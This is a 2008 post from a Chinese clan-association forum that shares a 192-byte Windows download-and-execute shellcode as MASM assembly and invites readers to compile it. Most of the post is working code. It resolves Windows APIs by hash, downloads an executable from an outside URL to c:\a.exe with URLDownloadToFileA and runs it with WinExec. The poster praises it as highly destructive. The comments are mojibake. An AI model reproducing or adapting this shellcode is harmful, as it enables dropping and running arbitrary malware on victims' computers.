win32 Tiny Download and Exec Shellcode 192 bytes - 曾氏宗亲网

主题：win32 Tiny Download and Exec Shellc...
回复：5 帖

1

复制本帖地址

曾宪德南宁

2008-05-19 02:18:12
阅读：3377次
回复
查看全部

楼主

积分47
经验157
文章36
注册2008-05-17

关注《曾氏宗亲网》官方微信

win32 Tiny Download and Exec Shellcode 192 bytes

不是老有人卖下载者的吗？其实他们卖的东西未必是自己写的。只不过是大家自己没有仔细研究而已。发一个巨小的好东西，至少我现在还没有发现国内哪里有的。07年6月份就出来了。我之所以发出来是因为它杀伤力大，很经典很有用，居家旅行杀人放火的好工具啊。不说了，看代码。有兴趣的自己编译一下。
;Tiny Download&&Exec ShellCode codz czy
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none

include c:\masm32\include\windows.inc
include c:\masm32\include\kernel32.inc
includelib c:\masm32\lib\kernel32.lib
include c:\masm32\include\user32.inc
includelib c:\masm32\lib\user32.lib

.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer db 2046 dup(0)
downshell db 'down exploit',0
.code
start:
invoke MessageBoxA,0,offset downshell,offset downshell,1
invoke RtlMoveMemory,offset shellcodebuffer,00401040H,256
mov eax,offset shellcodebuffer
jmp eax
somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;Ã‰Ã ÃƒÃ¦ÂµÃ„Â´ÃºÃ‚Ã«ÃŠÃ‡Â°Ã‘Ã”ÃšÂ´ÃºÃ‚Ã«Â¶ÃŽÃ–Ã ÂµÃ„shellcodeÃ’Ã†Â¶Â¯ÃŠÃ½Â¾Ã Â¶ÃŽÃ–Ã Ã–Â´Ã Ã Â£Â¬Ã„Â£Ã„Ã¢Ã•Ã¦ÃŠÂµÂµÃ„shellcodeÃ–Â´Ã Ã Â»Â·Â¾Â³
@@shellcodebegin:
call @@beginaddr
@@beginaddr:
PUSH 03H    ;Ã’ÂªÂµÃ·Ã“ÃƒÂµÃ„APIÂºÂ¯ÃŠÃ½Â¸Ã¶ÃŠÃ½
jmp @@realshellcode
myExitProcess dd 073e2d87eh
myWinExec       dd 00e8afe98h
myLoadLibraryA dd 0ec0e4e8eh
dll             db 'URLMON',0,0
myUrlDownFile dd 0702f1a36h
path          db 'c:\a.exe',0
url             db '[URL=http://www.ph4nt0m.org/a.exe][U][COLOR=#0000ff]http://www.ph4nt0m.org/a.exe[/COLOR][/U][/URL]',0

@@realshellcode:
POP ECX
POP EDI
SCASD ;edi+4
;ÂµÃƒÂµÂ½kernel32.dllÂ»Ã¹ÂµÃ˜Ã–Â·
db 67h,64h,0A1h,30h,00h
mov eax, [eax+0cH]
mov esi, [eax+1cH]
lodsd
mov ebp, [eax+08H]       ;EBPÃ–Ã Â´Ã¦Â·Ã…kernel32.dllÂµÃ„Â»Ã¹ÂµÃ˜Ã–Â·
;Â´Â¦Ã€ÃÂµÂ¼Â³Ã¶Â±Ã
@@next2:
PUSH    ECX
@@next3:
MOV    ESI,[EBP+3Ch]
MOV    ESI,[EBP+ESI+78h]
ADD    ESI,EBP
PUSH    ESI
MOV    ESI,[ESI+20h]
ADD    ESI,EBP
XOR    ECX,ECX
DEC    ECX
@@next:
INC    ECX
LODSD
ADD    EAX,EBP
XOR    EBX,EBX
@@again:
MOVSX EDX,BYTE PTR [EAX]
CMP    DL,DH
JZ    @@end
ROR    EBX,0Dh
ADD    EBX,EDX
INC    EAX
JMP    @@again
@@end:
CMP    EBX,[EDI]
JNZ    @@next

POP    ESI
MOV    EBX,[ESI+24h]
ADD    EBX,EBP
MOV    CX,WORD PTR [ECX*2+EBX]
MOV    EBX,[ESI+1Ch]
ADD    EBX,EBP
MOV    EAX,[ECX*4+EBX]
ADD    EAX,EBP
STOSD
POP    ECX
loop @@next2

mov ecx,[edi] ;2
cmp cl,'c'    ;3
jz @@downfile ;2
PUSH EDI
CALL EAX    ;2
xchg eax,ebp
scasd
scasd
push 01       ;2ÂµÃšÂ¶Ã¾Â¸Ã¶DLLÂµÃ„ÂºÂ¯ÃŠÃ½Â¸Ã¶ÃŠÃ½
jmp @@next3 ;2
            ;Ã—ÃœÂ¼Ã†17


@@downfile:

push edx ;0
push edx ;0
push edi ;file=c:\a.exe
lea ecx, dword ptr [edi+9h]
push ecx ;url
push edx ;0
call eax ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0

push 1 ;FOR TEST
push edi
call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1

call dword ptr [edi-18H] ;Exitprocess

somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
invoke ExitProcess,0
end start

偶的blog：www.dasek.cn亲们有时间的话去踩踩，一起交流：）

1